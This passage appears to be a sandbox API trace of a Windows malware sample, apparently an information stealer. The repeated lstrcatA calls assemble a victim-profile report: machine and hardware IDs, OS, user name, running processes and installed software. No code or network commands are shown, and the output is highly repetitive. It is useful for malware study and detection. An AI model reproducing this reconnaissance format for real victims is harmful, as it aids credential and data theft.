afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 ["
[0054.963] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001"
[0054.963] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe 